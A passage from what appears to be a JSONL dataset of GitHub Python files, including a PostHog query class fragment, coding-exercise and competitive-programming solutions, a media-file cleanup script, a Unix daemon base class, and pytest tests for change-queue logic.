PersonOnEventsMode.DISABLED,\n **kwargs,\n ) -> None:\n super().__init__(\n filter=filter,\n team=team,\n round_interval=round_interval,\n should_join_distinct_ids=should_join_distinct_ids,\n should_join_persons=should_join_persons,\n extra_fields=extra_fields,\n extra_event_properties=extra_event_properties,\n extra_person_fields=extra_person_fields,\n override_aggregate_users_by_distinct_id=override_aggregate_users_by_distinct_id,\n person_on_events_mode=person_on_events_mode,\n **kwargs,\n )\n\n self._column_optimizer = EnterpriseColumnOptimizer(self._filter, self._team_id)\n\n def _get_groups_query(self) -> Tuple[str, Dict]:\n if isinstance(self._filter, PropertiesTimelineFilter):\n raise Exception(\"Properties Timeline never needs groups query\")\n return GroupsJoinQuery(\n self._filter,\n self._team_id,\n self._column_optimizer,\n person_on_events_mode=self._person_on_events_mode,\n ).get_join_query()\n","repo_name":"PostHog/posthog","sub_path":"ee/clickhouse/queries/event_query.py","file_name":"event_query.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":14422,"dataset":"github-code","pt":"53"}
+{"seq_id":"22456726524","text":"'''\n1. Write a program that asks the user to enter some text and then counts how many articles are\nin the text. Articles are the words 'a', 'an', and 'the'.\n'''\n\nfrom string import punctuation\n\na1 = 'a'\na2 = 'an'\na3 = 'the'\ntext = 'In the woods are tree animals: a bear, a giraffe and an pinguin.'\n\nfor i in punctuation:\n text = text.replace(i, '')\nprint(text)\ntext = text.lower()\nprint(text)\ntext1 = text.split()\nprint(text1)\nprint(f'Word {a1} appears {text1.count(a1)} times.')\nprint(f'Word {a2} appears {text1.count(a2)} times.')\nprint(f'Word {a3} appears {text1.count(a3)} times.')","repo_name":"ralucadragan/A-Practical-Introduction-to-Python-Programming","sub_path":"Jau8_More_Lists/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38131633599","text":"import bisect\nfrom copy import deepcopy\nfrom typing import List\nfrom collections import defaultdict\nfrom util import (\n ListNode, lc_list2singlelinkedlist, lc_singlelinkedlist2list,\n TreeNode, lc_tree2list, lc_list2tree\n)\n\n\nclass Solution:\n def generateTrees(self, n: int) -> List[TreeNode]:\n def build_tree(start, end):\n if start > end:\n return [None]\n rtn = []\n for cur_val in range(start, end + 1):\n cur_left = build_tree(start, cur_val - 1)\n cur_right = build_tree(cur_val + 1, end)\n for left in cur_left:\n for right in cur_right:\n node = TreeNode(cur_val)\n node.left = left\n node.right = right\n rtn.append(node)\n return rtn\n\n if n == 0:\n return [None]\n return build_tree(1, n)\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n test_cases = [\n 2,3\n ]\n for i in test_cases:\n result = sol.generateTrees(i)\n print('hhh')\n for t in result:\n print(lc_tree2list(t))\n","repo_name":"chyt123/cosmos","sub_path":"coding_everyday/lc1-100/lc95/Unique Binary Search Trees II.py","file_name":"Unique Binary Search Trees II.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39412592767","text":"# 647. Palindromic Substrings\n# Given a string s, return the number of palindromic substrings in it.\n# the key is to assume each element as the \"center\" and expand from it\nclass Solution:\n def countSubstrings(self, s):\n count = 0\n \n for i in range(len(s)):\n # odd palidromes\n l,r = i,i\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count += 1\n l -= 1\n r += 1\n # even palidromes\n l,r = i,i + 1\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count += 1\n l -= 1\n r += 1\n \n return count\n\n## main\nif __name__ ==\"__main__\":\n s = \"aaa\"\n sol = Solution()\n print(sol.countSubstrings(s))","repo_name":"frozen211/MyCode","sub_path":"Python/countSubstrings.py","file_name":"countSubstrings.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40241093934","text":"from multiprocessing.dummy import Pool as ThreadPool\nfrom pathlib import Path\n\n\ndef find_animation(image):\n if image.name.endswith(\".gif\") or image.name.endswith(\".mp4\"):\n try:\n image.unlink()\n except IOError as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n image_path = Path(\"/media/cody/250GB_Int/MEGAsync/piz/new\")\n images = [image for image in image_path.rglob(\"*\")]\n\n pool = ThreadPool(8) # Make a thread pool of 8\n pool.map(find_animation, images)\n pool.close()\n pool.join()\n","repo_name":"crystalattice/animation_remover","sub_path":"del_moving_picts.py","file_name":"del_moving_picts.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27184554900","text":"#漸化式 解法はokだが遅いのでc++で書けば通ると思われる。\n\nimport numpy as np\nfrom math import log2 \nMASK = (1 << 35) - 1\n\n\ndef multi_xor(mat1,mat2):\n\t#mat1 * mat2をxorとand演算で置き換える\n\n\tmat1 = np.array(mat1)\n\tmat2 = np.array(mat2).T\n\n\tmat1_l = mat1.shape[0]\n\tmat2_l = mat2.shape[1]\n\n\tretmat = [[0]*(mat2_l) for _ in range(mat1_l)] \n\n\tfor row in range(mat2_l):\n\t\ttmp = np.bitwise_and(mat1, mat2[row])\n\t\tfor line in range(mat1_l):\n\t\t\tresult = 0\n\t\t\tfor l in tmp[line]:\n\t\t\t\tresult = result ^ l\n\t\t\tretmat[line][row] = result\n\t\t\t\t\n\n\treturn retmat\n\ndef multi_last(mat1,mat2):\n\n\tmat1 = np.array(mat1)\n\tmat2 = np.array(mat2)\n\n\tmat1_l = mat1.shape[0]\n\tmat2_l = mat2.shape[0]\n\n\tretmat = [[0]*(mat2_l) for _ in range(mat1_l)] \n\n\tfor row in range(mat2_l):\n\t\ttmp = np.bitwise_and(mat1, mat2[row])\n\t\tfor line in range(mat1_l):\n\t\t\tresult = 0\n\t\t\tfor l in tmp[line]:\n\t\t\t\tresult = result ^ l\n\t\t\tretmat[line][row] = result\n\t\t\t\t\n\n\treturn retmat\n\n\n\nK,M = map(int,input().split(\" \"))\nA = list(map(int,input().split(\" \")))\nC = list(map(int,input().split(\" \")))\nindex = M - K\n\nif index <= 0:\n\tprint(A[M-1])\n\texit(0)\n\nf = [C]\nf_add = [[0]*(K) for i in range(K-1)]\nfor i in range(K-1):\n\tf_add[i][i] = MASK\n\nf.extend(f_add)\nf_list = [f]\n\nnum = 2\nwhile num <= index:\n\tf = multi_xor(f,f)\n\tf_list.append(f)\n\tnum += num\n\n\nmaxiter = int(log2(num))\nrepmat = np.eye(K,dtype=int) * int(MASK)\nrepmat = repmat.tolist()\n\nfor j in range(maxiter):\n\tif (index >> j) & 1:\n\t\trepmat = multi_xor(f_list[j],repmat)\n\nA.reverse()\nans = multi_last(repmat,[A])\n\nprint(ans[0][0])\n\n\n\n","repo_name":"banboooo044/AtCoder","sub_path":"ABC009/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27416056363","text":"import atexit\nimport os\nimport sys\nimport time\nfrom signal import signal, SIGTERM, SIGHUP, SIGUSR1\n\n\nclass Daemon(object):\n \"\"\"\n A generic daemon class.\n\n Usage: subclass the Daemon class and override the run() method\n\n Daemon([pidfile[, stdin[, stdout[, stderr]]]])\n\n pidfile : file to write pid to (default no pid file writen)\n stdin : standard input file descriptor (default to /dev/null)\n stdout : standard output file descriptor (default to /dev/null)\n stderr : standard error file descriptorr (default to /dev/null)\n \"\"\"\n version = '0.6'\n\n def __init__(self, pidfile,\n stdin = os.devnull,\n stdout = os.devnull,\n stderr = os.devnull):\n self.stdin = stdin\n self.stdout = stdout\n self.stderr = stderr\n self.pidfile = pidfile\n self.umask = 0\n\n def daemonize(self):\n \"\"\"\n Do the UNIX double-fork magic.\n see W. Richard Stevens, \"Advanced Programming in the Unix Environment\"\n for details (ISBN 0201563177)\n\n Short explanation:\n Unix processes belong to \"process group\" which in turn lies within a\n \"session\". A session can have a controlling tty.\n Forking twice allows to detach the session from a possible tty.\n The process lives then within the init process.\n \"\"\"\n try:\n pid = os.fork()\n if pid > 0:\n # exit first parent\n sys.exit(0)\n except OSError as e:\n sys.stderr.write('fork #1 failed: {0.errno:d} ({0.strerror})\\n'.format(e))\n sys.exit(1)\n\n # Decouple from parent environment\n os.chdir('/')\n os.setsid()\n self.umask = os.umask(0)\n\n # Do second fork\n try:\n pid = os.fork()\n if pid > 0:\n # exit from second parent\n sys.exit(0)\n except OSError as e:\n sys.stderr.write('fork #2 failed: {0.errno:d} ({0.strerror})\\n'.format(e))\n sys.exit(1)\n\n self.write_pid()\n # redirect standard file descriptors\n sys.stdout.flush()\n sys.stderr.flush()\n # TODO: binary or txt mode?\n si = open(self.stdin, mode='rb')\n so = open(self.stdout, mode='ab+')\n se = open(self.stderr, mode='ab+', buffering=0)\n os.dup2(si.fileno(), sys.stdin.fileno())\n os.dup2(so.fileno(), sys.stdout.fileno())\n os.dup2(se.fileno(), sys.stderr.fileno())\n\n atexit.register(self.shutdown)\n self.signal_management()\n\n def write_pid(self):\n # write pidfile\n if not self.pidfile:\n return\n pid = str(os.getpid())\n try:\n os.umask(self.umask)\n open(self.pidfile, 'w').write('%s\\n' % pid)\n except Exception as wpid_err:\n sys.stderr.write('Error trying to write pid file: {}\\n'.format(wpid_err))\n sys.exit(1)\n os.umask(0)\n atexit.register(self.delpid)\n\n def signal_management(self):\n \"\"\"Declare signal handlers\n \"\"\"\n signal(SIGTERM, self.exit_handler)\n signal(SIGHUP, self.hup_handler)\n signal(SIGUSR1, self.hup_handler)\n\n def exit_handler(self, signum, frame):\n sys.exit(1)\n\n def hup_handler(self, signum, frame):\n \"\"\"SIGHUP handler\"\"\"\n pass\n\n def delpid(self):\n \"\"\"Remove PID file\"\"\"\n try:\n os.unlink(self.pidfile)\n except OSError as err:\n message = 'Error trying to remove PID file: {}\\n'\n sys.stderr.write(message.format(err))\n\n def start(self):\n \"\"\"\n Start the daemon\n \"\"\"\n # Check for a pidfile to see if the daemon already runs\n try:\n pf = open(self.pidfile, 'r')\n pid = int(pf.read().strip())\n pf.close()\n except IOError:\n pid = None\n\n if pid:\n message = 'pidfile {0.pidfile} already exist. Daemon already running?\\n'\n sys.stderr.write(message.format(self))\n sys.exit(1)\n\n # Start the daemon\n self.daemonize()\n self.run()\n\n def foreground(self):\n \"\"\"\n Foreground/debug mode\n \"\"\"\n self.write_pid()\n atexit.register(self.shutdown)\n self.run()\n\n def stop(self):\n \"\"\"\n Stop the daemon\n \"\"\"\n # Get the pid from the pidfile\n try:\n pf = open(self.pidfile, 'r')\n pid = int(pf.read().strip())\n pf.close()\n except IOError:\n pid = None\n\n if not pid:\n message = 'pidfile {0.pidfile} does not exist. Is the Daemon running?\\n'\n sys.stderr.write(message.format(self))\n return # not an error in a restart\n\n # Try killing the daemon process\n try:\n os.kill(pid, SIGTERM)\n time.sleep(0.1)\n except OSError as err:\n if err.errno == 3:\n if os.path.exists(self.pidfile):\n message = \"Daemon's not running? removing pid file {0.pidfile}.\\n\"\n sys.stderr.write(message.format(self))\n os.remove(self.pidfile)\n else:\n sys.stderr.write(err.strerror)\n sys.exit(1)\n\n def restart(self):\n \"\"\"\n Restart the daemon\n \"\"\"\n self.stop()\n self.start()\n\n def shutdown(self):\n \"\"\"\n You should override this method when you subclass Daemon. It will be\n called when the process is being stopped.\n Pay attention:\n Daemon() uses atexit to call Daemon().shutdown(), as a consequence\n shutdown and any other functions registered via this module are not\n called when the program is killed by an un-handled/unknown signal.\n This is the reason of Daemon().signal_management() existence.\n \"\"\"\n\n def run(self):\n \"\"\"\n You should override this method when you subclass Daemon. It will be\n called after the process has been daemonized by start() or restart().\n \"\"\"\n\n# VIM MODLINE\n# vim: ai ts=4 sw=4 sts=4 expandtab\n","repo_name":"mxjeff/mpd-sima","sub_path":"sima/lib/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":6211,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"34903727853","text":"#!/usr/bin/env python\n\"\"\"test_change_queue.py - Tests for change_queue.python\n\"\"\"\nfrom __future__ import absolute_import, print_function\nimport pytest\nimport random\nfrom math import log, ceil\nfrom copy import copy\nfrom six.moves import range\nfrom collections import namedtuple\nfrom textwrap import dedent\nimport re\ntry:\n from unittest.mock import MagicMock, call, sentinel\nexcept ImportError:\n from mock import MagicMock, call, sentinel\n\nfrom stdci_libs.change_queue import ChangeQueue, ChangeQueueWithDeps, \\\n JenkinsChangeQueueObject, JenkinsChangeQueue, ChangeQueueWithStreams, \\\n JenkinsTestedChangeList\nfrom stdci_libs.jenkins_objects import NotInJenkins\n\n\ndef _enlist_state(state):\n \"\"\"Convert queue state into lists\"\"\"\n return list(list(st) for st in state)\n\n\nclass TestChangeQueue(object):\n @pytest.mark.parametrize(\n ('initq', 'add_arg', 'expq'),\n [\n ([[]], 1, [[1]]),\n ([[1]], 2, [[1, 2]]),\n ([[1, 2]], 3, [[1, 2, 3]]),\n ([[1, 2, 3], []], 4, [[1, 2, 3], [4]]),\n ([[1, 2, 3], [4]], 5, [[1, 2, 3], [4, 5]]),\n ([[1, 2, 3], [4, 5], []], 6, [[1, 2, 3], [4, 5], [6]]),\n ]\n )\n def test_add(self, initq, add_arg, expq):\n queue = ChangeQueue(initq)\n queue.add(add_arg)\n assert expq == _enlist_state(queue._state)\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'exptk', 'expcl', 'expq'),\n [\n ([[]], None, None, [], [[]]),\n ([[1, 2]], None, '__SOME__', [1, 2], [[1, 2], []]),\n ([[1, 2], [3]], None, '__SOME__', [1, 2], [[1, 2], [3]]),\n ([[1, 2], [3]], 'k1', 'k1', [1, 2], [[1, 2], [3]]),\n ]\n )\n def test_get_next_test(self, initq, inittk, exptk, expcl, expq):\n queue = ChangeQueue(initq, inittk)\n outtk, outcl = queue.get_next_test()\n if exptk == '__SOME__':\n assert outtk is not None\n else:\n assert exptk == outtk\n assert expcl == outcl\n assert expq == _enlist_state(queue._state)\n # Logical invariants:\n assert list(queue._state[0]) == outcl\n assert queue._test_key == outtk\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'tk', 'expsl', 'expfl', 'expq', 'exptk'),\n [\n ([[1, 2], [3]], None, 'k1', [], [], [[1, 2], [3]], None),\n ([[1, 2], [3]], None, None, [], [], [[1, 2], [3]], None),\n ([[1, 2]], None, 'k1', [], [], [[1, 2]], None),\n ([[1, 2], [3]], 'k1', 'k2', [], [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', None, [], [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', 'k1', [1, 2], [], [[3]], None),\n ([[1, 2], [3], []], 'k1', 'k1', [1, 2], [3], [[]], None),\n ([[1], [3], []], 'k1', 'k1', [1], [3], [[]], None),\n ([[1], [3, 4], []], 'k1', 'k1', [1], [], [[3], [4], []], None),\n ]\n )\n def test_on_test_success(self, initq, inittk, tk,\n expsl, expfl, expq, exptk):\n queue = ChangeQueue(initq, inittk)\n outsl, outfl, outc = queue.on_test_success(tk)\n assert expsl == outsl\n assert expfl == outfl\n # For simple queues failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == outc\n assert expq == _enlist_state(queue._state)\n assert queue._test_key == exptk\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'tk', 'expfl', 'expq', 'exptk'),\n [\n ([[1, 2], [3]], None, 'k1', [], [[1, 2], [3]], None),\n ([[1, 2], [3]], None, None, [], [[1, 2], [3]], None),\n ([[1, 2]], None, 'k1', [], [[1, 2]], None),\n ([[1, 2], [3]], 'k1', 'k2', [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', None, [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', 'k1', [], [[1], [2], [3]], None),\n ([[1, 2], [3], [4]], 'k1', 'k1', [], [[1], [2], [3], [4]], None),\n ([[1, 2, 3], [4]], 'k1', 'k1', [], [[1], [2, 3], [4]], None),\n ([[1, 2, 3, 4], [5]], 'k1', 'k1', [], [[1, 2], [3, 4], [5]], None),\n ([[1], [2], [3, 4], [5]], 'k1', 'k1', [1], [[2, 3, 4, 5]], None),\n ([[1], [2], []], 'k1', 'k1', [1], [[2]], None),\n ([[1], [2]], 'k1', 'k1', [1], [[2]], None),\n ]\n )\n def test_on_test_failure(self, initq, inittk, tk, expfl, expq, exptk):\n queue = ChangeQueue(initq, inittk)\n outsl, outfl, outc = queue.on_test_failure(tk)\n assert [] == outsl\n assert expfl == outfl\n # For simple queues failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == outc\n assert expq == _enlist_state(queue._state)\n assert queue._test_key == exptk\n\n @pytest.mark.parametrize(\n ('num_changes', 'num_bad'),\n [(99, 1), (100, 1), (3, 1), (4, 1), (100, 2), (45, 3), (5, 5)]\n )\n def test_bad_search(self, num_changes, num_bad):\n for time in range(1, 20):\n changes = range(0, num_changes)\n bad_changes = copy(list(changes))\n random.shuffle(bad_changes)\n bad_changes = set(bad_changes[:num_bad])\n print('bad: ', bad_changes)\n queue = ChangeQueue([changes])\n found_bad = set()\n for attempts in range(0, num_changes * num_bad):\n test_key, test_list = queue.get_next_test()\n assert test_key\n assert test_list\n print(test_list)\n if bad_changes & set(test_list):\n _, fail_list, _ = queue.on_test_failure(test_key)\n else:\n _, fail_list, _ = queue.on_test_success(test_key)\n if fail_list:\n found_bad |= set(fail_list)\n if len(found_bad) >= num_bad:\n break\n assert bad_changes == found_bad\n assert attempts <= (ceil(log(num_changes, 2)) + 1) * num_bad\n\n\nclass ChangeWithDeps(namedtuple('_ChangeWithDeps', ('id', 'requirements'))):\n @classmethod\n def from_value(cls, chvalue):\n try:\n return cls(int(chvalue), set())\n except ValueError:\n match = re.match('^(\\\\d+)((r\\\\d+(,\\\\d+)*)*)$', str(chvalue))\n if not match:\n raise ValueError('Malformed ChangeWithDeps string')\n chid = int(match.group(1))\n req_set = set()\n req_lists = re.findall('r(\\\\d+(,\\\\d+)*)', match.group(2))\n for req_list, _ in req_lists:\n req_set |= set(int(c) for c in req_list.split(','))\n return cls(chid, req_set)\n\n def __str__(self):\n out = str(self.id)\n if self.requirements:\n out += 'r' + ','.join(map(str, self.requirements))\n return out\n\n_cwds_fv = ChangeWithDeps.from_value\n\n\n@pytest.mark.parametrize(\n ('init_param', 'exp_obj'),\n [\n (17, (17, set())),\n ('15', (15, set())),\n ('3r4', (3, set([4]))),\n ('5r6', (5, set([6]))),\n ('7r8r9', (7, set([8, 9]))),\n ('10r11,12r13,14,15', (10, set([11, 12, 13, 14, 15]))),\n ('16r17,18r19r20r21,22', (16, set([19, 21, 22, 17, 18, 20]))),\n ]\n)\ndef test_change_with_deps_from_value(init_param, exp_obj):\n out_obj = ChangeWithDeps.from_value(init_param)\n assert exp_obj == out_obj\n\n\ndef _c2adep(change):\n \"\"\"Convert a change string to (change, deps) pair\"\"\"\n cwd = _cwds_fv(change)\n return cwd, set(cwd.requirements)\n\n\n@pytest.mark.parametrize(\n ('change', 'exp_c_d_pair'),\n [\n (1, (_cwds_fv(1), set())),\n ('1r5', (_cwds_fv('1r5'), set([5]))),\n ('1r5,6', (_cwds_fv('1r5,6'), set([5, 6]))),\n ]\n)\ndef test_c2adep(change, exp_c_d_pair):\n out = _c2adep(change)\n assert exp_c_d_pair == out\n\n\nclass TestChangeQueueWithDeps(object):\n @pytest.mark.parametrize(\n ('change', 'exp'),\n [\n (_cwds_fv('1r2'), [2]),\n (_cwds_fv('1r2,3'), [2, 3]),\n (_cwds_fv('1'), []),\n ]\n )\n def test_change_requirements(self, change, exp):\n out = ChangeQueueWithDeps._change_requirements(change)\n assert set(exp) == out\n\n @pytest.mark.parametrize(\n ('initq', 'change', 'exp_deps'),\n [\n ([[1], [2, 3]], 4, []),\n ([[1], [2, 3]], '4r5', [5]),\n ([[1], [2, 3]], '4r2', []),\n ([[1], [2, 3]], '4r2,1', []),\n ([[1], [2, 3]], '4r2,5,1', [5]),\n ([[1], [2, 3]], '4r2,5,1,6', [5, 6]),\n ]\n )\n def test_get_missing_deps(self, initq, change, exp_deps):\n queue = ChangeQueueWithDeps(initq)\n out_deps = queue._get_missing_deps(_cwds_fv(change))\n assert set(exp_deps) == set(out_deps)\n\n @pytest.mark.parametrize(\n ('change_id', 'changes', 'exp_deps'),\n [\n (0, [], []),\n (0, [0, 1, 2], []),\n (0, [0, '1r0', '2r3'], [1]),\n (0, [0, '1r0', '2r0', 3], [1, 2]),\n (0, ['0r3,4', '1r0', '2r0', 3], [1, 2]),\n (0, ['0r0', '1r0', '2r0', 3], [0, 1, 2]),\n (0, ['0r1', '1r0', '2r0', 3], [0, 1, 2]),\n (0, ['0r1', '1r2', '2r0', '3r1'], [0, 1, 2, 3]),\n (0, ['0r1,4', '1r2', '2r0', '3r1', 4], [0, 1, 2, 3]),\n (0, ['0r1,4,5', '1r2', '2r0', '3r1', '4r5'], [0, 1, 2, 3]),\n ]\n )\n def test_find_dependants_on(self, change_id, changes, exp_deps):\n deps = ChangeQueueWithDeps._find_dependants_on(\n change_id, map(_cwds_fv, changes)\n )\n assert set(exp_deps) == set(deps)\n\n @pytest.mark.parametrize(\n ('adeps', 'dep_ids', 'exp_out', 'exp_a_deps'),\n [\n ([], [], [], []),\n ([], [1, 2, 3], [], []),\n ([1, 2, 3, 4, 5], [2, 4, 6], [2, 4], [1, 3, 5]),\n ]\n )\n def test_rm_a_deps_by_ids(self, adeps, dep_ids, exp_out, exp_a_deps):\n queue = ChangeQueueWithDeps(awaiting_deps=map(_c2adep, adeps))\n out = queue._remove_awaiting_deps_by_ids(set(dep_ids))\n assert list(map(_c2adep, exp_out)) == out\n assert list(map(_c2adep, exp_a_deps)) == list(queue._awaiting_deps)\n\n @pytest.mark.parametrize(\n ('add_sequence', 'exp_state_ids', 'exp_loop_ids'),\n [\n ([1, 2, 3], [1, 2, 3], []),\n ([1, '2r1', '3r1'], [1, 2, 3], []),\n (['2r1', '3r1', 1], [1, 2, 3], []),\n (['3r1,2', '2r1', 1], [1, 2, 3], []),\n (['3r2', '2r1', 1], [1, 2, 3], []),\n (['2r1', '4r5', 1, '3r2'], [1, 2, 3], []),\n (['2r1,4', '4r5', 1, '3r2'], [1], []),\n (['2r1,4', '4r5', 1, '3r2', 5], [1, 5, 4, 2, 3], []),\n (['3r2', '5r4', '2r1', '6r5', '4r1', 1], [1, 2, 3, 4, 5, 6], []),\n (['1r2,3', 3, 2], [3, 2, 1], []),\n (['1r1'], [], [1]),\n ([1, '2r2', 3], [1, 3], [2]),\n (['1r3', 2, '3r1'], [2], [3, 1]),\n (['1r3', '2r3', '3r1'], [], [3, 1, 2]),\n (['1r2', '2r3', '3r2'], [], [3, 2, 1]),\n (['1r2', '2r3', '3r1'], [], [3, 2, 1]),\n (['1r2', '5r4', '2r3', 4, '3r1'], [4, 5], [3, 2, 1]),\n (['1r2', '5r4', '2r3', '4r1', '3r1'], [], [3, 2, 1, 4, 5]),\n ]\n )\n def test_add(self, add_sequence, exp_state_ids, exp_loop_ids):\n queue = ChangeQueueWithDeps()\n loop_ids = []\n for change in add_sequence:\n added, in_loop = queue.add(_cwds_fv(change))\n print('added: ', added)\n print('in_loop:', in_loop)\n loop_ids.extend(map(ChangeQueueWithDeps._change_id, in_loop))\n assert exp_state_ids == \\\n list(map(ChangeQueueWithDeps._change_id, queue._state[0]))\n assert exp_loop_ids == loop_ids\n\n @pytest.mark.parametrize(\n ('initq', 'initwd', 'expfl', 'expq', 'expwd'),\n [\n (\n [[1, 2, '3r1', '4r2', 5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [],\n [[1, 2, '3r1', '4r2'], [5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n ),\n (\n [[1], [2, '3r1', '4r2', 5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [1, 3, 6, 8, 9, 12],\n [[2, '4r2', 5, '7r2']],\n ['10r2,99', '11r98', '13r99'],\n ),\n (\n [[1], [2, '3r1', '4r2', 5, '6r1'], ['7r2', '8r1', '9r6']],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [1, 3, 6, 8, 9, 12],\n [[2, '4r2', 5, '7r2']],\n ['10r2,99', '11r98', '13r99'],\n ),\n ]\n )\n def test_on_test_failure(self, initq, initwd, expfl, expq, expwd):\n queue = ChangeQueueWithDeps(\n (map(_cwds_fv, s) for s in initq), 'k1', map(_c2adep, initwd)\n )\n outsl, outfl, outc = queue.on_test_failure('k1')\n assert [] == outsl\n assert expfl == list(map(ChangeQueueWithDeps._change_id, outfl))\n # For dep queues, failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == ChangeQueueWithDeps._change_id(outc)\n assert [list(map(_cwds_fv, s)) for s in expq] == \\\n _enlist_state(queue._state)\n assert list(map(_c2adep, expwd)) == list(queue._awaiting_deps)\n\n\nclass TestChangeQueueWithStreams(object):\n @staticmethod\n def str_to_chg(s):\n data = iter(str(s).split('s'))\n return MagicMock(\n ('id', 'stream_id', '__eq__', '__repr__'),\n id=next(data),\n stream_id=next(data, None),\n __eq__=lambda self, chg: self.id == chg.id,\n __repr__=lambda self: str(s),\n )\n\n def test_str_to_chg(self):\n c1 = self.str_to_chg('1sA')\n assert c1.id == '1'\n assert c1.stream_id == 'A'\n c2 = self.str_to_chg(1)\n assert c2.id == '1'\n assert c2.stream_id is None\n assert c1 == c2\n c3 = self.str_to_chg('2sA')\n assert c3.id == '2'\n assert c3.stream_id == c1.stream_id\n assert c3 != c1\n c4 = self.str_to_chg('1sA')\n assert c4.id == c1.id\n assert c4.stream_id == c1.stream_id\n assert c4 == c1\n assert id(c4) != id(c1)\n\n @classmethod\n def str_list_to_sm(cls, clist):\n return dict(\n (chg.stream_id, chg)\n for chg in map(cls.str_to_chg, clist)\n if chg.stream_id is not None\n )\n\n def test_str_list_to_sm(self):\n sm = self.str_list_to_sm(['1sA', '2sB'])\n assert 'A' in sm\n assert sm['A'].id == '1'\n assert 'B' in sm\n assert sm['B'].id == '2'\n assert sm['A'] == self.str_to_chg('1sA')\n assert sm == dict(A=self.str_to_chg('1sA'), B=self.str_to_chg('2sB'))\n\n @pytest.mark.parametrize(\n ('initqc', 'initsm', 'expfl', 'expc', 'expsm'),\n [\n (1, [], [1], 1, []),\n ('1sA', [], ['1sA'], '1sA', ['1sA']),\n ('2sA', ['1sA'], ['2sA'], '1sA', ['1sA']),\n (2, ['1sA'], [2], 2, ['1sA']),\n ('2sB', ['1sA'], ['2sB'], '2sB', ['1sA', '2sB']),\n ('3sA', ['1sA', '2sB'], ['3sA'], '1sA', ['1sA', '2sB']),\n ],\n )\n def test_on_test_failure(self, initqc, initsm, expfl, expc, expsm):\n queue = ChangeQueueWithStreams(\n [[self.str_to_chg(initqc)], []],\n 'tk1', self.str_list_to_sm(initsm)\n )\n outsl, outfl, outc = queue.on_test_failure('tk1')\n assert outsl == []\n assert outfl == list(map(self.str_to_chg, expfl))\n assert outc == self.str_to_chg(expc)\n assert _enlist_state(queue._state) == [[]]\n assert queue._stream_map == self.str_list_to_sm(expsm)\n\n @pytest.mark.parametrize(\n ('initqs', 'initsm', 'expsl', 'expfl', 'expc', 'expsm'),\n [\n ([1], [], [1], [], None, []),\n (['1sA'], [], ['1sA'], [], None, []),\n (['2sA'], ['1sA'], ['2sA'], [], None, []),\n ([2], ['1sA'], [2], [], None, ['1sA']),\n (['2sB'], ['1sA'], ['2sB'], [], None, ['1sA']),\n (['2sA', '3sA'], ['1sA'], ['2sA'], ['3sA'], '3sA', ['3sA']),\n (['2sB', '3sA'], ['1sA'], ['2sB'], ['3sA'], '1sA', ['1sA']),\n (['2sA', '3sA'], [], ['2sA'], ['3sA'], '3sA', ['3sA']),\n ([2, '3sB'], ['1sA'], [2], ['3sB'], '3sB', ['1sA', '3sB']),\n ([2, '3sB'], ['1sA', '4sB'], [2], ['3sB'], '4sB', ['1sA', '4sB']),\n ],\n )\n def test_on_test_success(self, initqs, initsm, expsl, expfl, expc, expsm):\n queue = ChangeQueueWithStreams(\n list(map(lambda x: [x], map(self.str_to_chg, initqs))) + [[]],\n 'tk1', self.str_list_to_sm(initsm)\n )\n outsl, outfl, outc = queue.on_test_success('tk1')\n assert outsl == list(map(self.str_to_chg, expsl))\n assert outfl == list(map(self.str_to_chg, expfl))\n if expc is None:\n assert outc is None\n else:\n assert outc == self.str_to_chg(expc)\n assert _enlist_state(queue._state) == [[]]\n assert queue._stream_map == self.str_list_to_sm(expsm)\n\n\nclass TestJenkinsChangeQueueObject(object):\n def test_queue_job_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n out = jcqo.queue_job_name('QQQ')\n assert out == 'QQQ_change-queue'\n with pytest.raises(NotInJenkins):\n out = jcqo.queue_job_name()\n jcqo.get_queue_name = MagicMock(side_effect=('QNQN',))\n out = jcqo.queue_job_name()\n assert out == 'QNQN_change-queue'\n\n def test_tester_job_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n out = jcqo.tester_job_name('QQQ')\n assert out == 'QQQ_change-queue-tester'\n with pytest.raises(NotInJenkins):\n out = jcqo.tester_job_name()\n jcqo.get_queue_name = MagicMock(side_effect=('QNQN',))\n out = jcqo.tester_job_name()\n assert out == 'QNQN_change-queue-tester'\n\n @pytest.mark.parametrize(\n ('job_name', 'exp_queue_name'),\n [\n ('QQQ_change-queue', 'QQQ'),\n 